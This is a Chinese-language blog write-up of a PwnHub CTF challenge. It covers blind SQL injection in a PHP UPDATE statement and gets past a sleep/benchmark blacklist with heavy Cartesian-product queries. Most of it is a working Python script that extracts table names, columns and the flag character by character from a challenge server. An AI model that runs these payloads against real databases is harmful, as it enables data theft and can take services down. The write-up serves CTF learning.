HeartSky's blog


在渗透之路上渐行渐远


PwnHub 目瞪口呆 writeup

整个题目代码非常少,有下面三个文件

1
2
3
conn.php # 建立数据库连接
index.php # 查询数据库显示所有文章
article.php # 根据id查询文章并把阅读数+1

很容易可以看出注入是在 article.php

1
2
3
4
5
6
7
8
9
10
11
12
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");

可以看到这里两个 sql 语句对 id 的处理不同的,注入点也就是 update 的地方,因为只是单纯更新数据,没有任何回显,所以这里就要思考下在 update 前后发生了什么变化,因为在之后没有取值什么的操作了,我们无从知道是否更新数据成功,所以唯一可能变化的就是时间了

然后去网上找了下,找到一篇 wp 看起来和这个类似
https://blog.csdn.net/niexinming/article/details/52980140

文中提到了一种 heavy query 的攻击方式,通过对一张表作自身的笛卡尔积从而让查询时间变长从而达到我们想要产生的时间变化

本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 6554 |
+----------+
1 row in set (0.21 sec)

mysql> select count(*) from information_schema.columns, information_schema.columns T2;
+----------+
| count(*) |
+----------+
| 42954916 |
+----------+
1 row in set (1.52 sec)

不过比较麻烦的是容易把数据库打挂,应该很多选手用的这种方式,导致了前期正常请求也很慢,后期看到稍微有些正常了,就写了脚本跑了下,因为做一次笛卡尔积数据库要挂个几分钟,所以这里就直接比对每个字符,不用二分法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# encoding=utf-8
import requests
import time
import string

s = string.printable
url = "http://10.211.55.6/pwnhub/mudengkoudai/article.php?id=2"
url = 'http://52.80.179.198:8080/article.php?id=2'

name = ''
def test():
try:
r = requests.get(url, timeout=2)
except:
return False

return True

for i in range(1, 50):
for j in s:
url2 = url + "' or id in (select if(((select ascii(substr(group_concat(table_name)," + str(i) + ",1)) from information_schema.tables where table_schema=database() and table_name!='article' and table_name!='view')='" + str(ord(str(j))) + "'),(select count(*) from information_schema.columns, information_schema.columns T1, information_schema.columns T2, information_schema.columns T3),(233)))%23"
url2 = url + "' or id in (select if(((select ascii(substr(group_concat(column_name)," + str(i) + ",1)) from information_schema.columns where table_schema=database() and table_name='flags')='" + str(ord(str(j))) + "'),(select count(*) from information_schema.columns, information_schema.columns T1, information_schema.columns T2, information_schema.columns T3),(233)))%23"
url2 = url + "' or id in (select if(((select ascii(substr(flag," + str(i) + ",1)) from flags)='" + str(ord(str(j))) + "'),(select count(*) from information_schema.columns, information_schema.columns T1, information_schema.columns T2, information_schema.columns T3),(233)))%23"

try:
res = requests.get(url2, timeout=2)
except:
name += str(j)
break

print name
while 1:
if not test():
time.sleep(200)
break


# flags flag pwnhub{flag:a6fe3d9432024e97aa40bd867161561e}